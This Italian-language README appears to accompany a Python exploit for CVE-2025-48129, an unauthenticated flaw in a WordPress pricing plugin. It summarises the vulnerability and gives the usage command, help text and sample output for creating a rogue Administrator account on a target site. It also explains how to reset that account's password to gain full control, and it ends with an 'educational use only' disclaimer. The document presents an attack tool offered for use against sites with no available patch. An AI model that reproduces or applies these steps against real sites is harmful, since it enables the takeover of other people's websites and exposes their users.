🚨 CVE-2025-48129 - Escalation dei Privilegi nel Plugin Spreadsheet Price Changer per WordPress

🛡️ Riepilogo della Vulnerabilità

• Plugin Coinvolto: Spreadsheet Price Changer per WooCommerce e WP E-commerce – Light
• Versioni Vulnerabili: <= 2.4.37
• Versione Correttiva: ❌ Nessuna correzione ufficiale disponibile
• Scoperto da: Patchstack | 20 Maggio 2025
• CVE ID: CVE-2025-48129
• Punteggio CVSS: 9.8 (Critico)
• Priorità della Correzione: 🔴 Alta

🔥 Rischio

Attaccanti non autenticati possono aumentare i privilegi creando un account a livello di Amministratore senza necessitare di alcun accesso precedente. Ciò consente la completa compromissione del sito WordPress.

Classificato sotto: OWASP A7 – Fallimenti di Identificazione e Autenticazione

---

🧪 Panoramica dello Script Exploit

Questo script Python prende di mira le versioni vulnerabili del plugin e registra un nuovo Amministratore WordPress utilizzando solo un'email e una password (hash tramite MD5).

---

▶️ Esempio di Utilizzo

python CVE-2025-48129.py -u http://target-site.com/wordpress -mail [email protected] -p nxploitadmin

---

📘 Aiuto sull'Utilizzo

python CVE-2025-48129.py -help

usage: CVE-2025-48129.py [-h] -u URL -mail MAIL [-p PASSWORD]

CVE-2025-48129 - Unauthenticated Privilege Escalation Exploit by Khaled Alenazi (Nxploited)

options:
  -h, --help              show this help message and exit
  -u, --url URL           Target WordPress site URL (e.g., http://site.com/)
  -mail, --mail MAIL      Email for the new Admin account
  -p, --password PASSWORD Password to set (default: nxploitadmin)

---

✅ Esempio di Output di Successo

[*] Checking plugin version...
[*] Plugin version: 2.4.37
[*] Vulnerable version detected. Exploiting...
[+] Exploitation successful!

[*] Login credentials:
    Username: [email protected]
    Password: 21232f297a57a5a743894a0e4a801fc3

[*] If login fails, reset the password manually via:
    http://target-site.com/wordpress/wp-login.php?action=lostpassword

---

⚠️ Nota Importante

In alcuni casi, il login diretto con la password scelta potrebbe fallire.
Questo non è un bug dell'exploit, ma un risultato di come il plugin vulnerabile passa le password hash al sistema interno di creazione utenti di WordPress.

Se non riesci ad accedere, reimposta semplicemente la password via email utilizzando il seguente URL:

http://target-site.com/wordpress/wp-login.php?action=lostpassword

WordPress invierà un'email di reset della password all'account Admin che hai appena creato — concedendoti accesso completo.

---

🧾 Disclaimer Legale

Questo strumento è fornito solo per scopi educativi e di test di penetrazione autorizzati.
L'autore non si assume alcuna responsabilità per l'uso improprio o i danni causati da questo script.

---

Di: Nxploited ( Khaled_alenazi )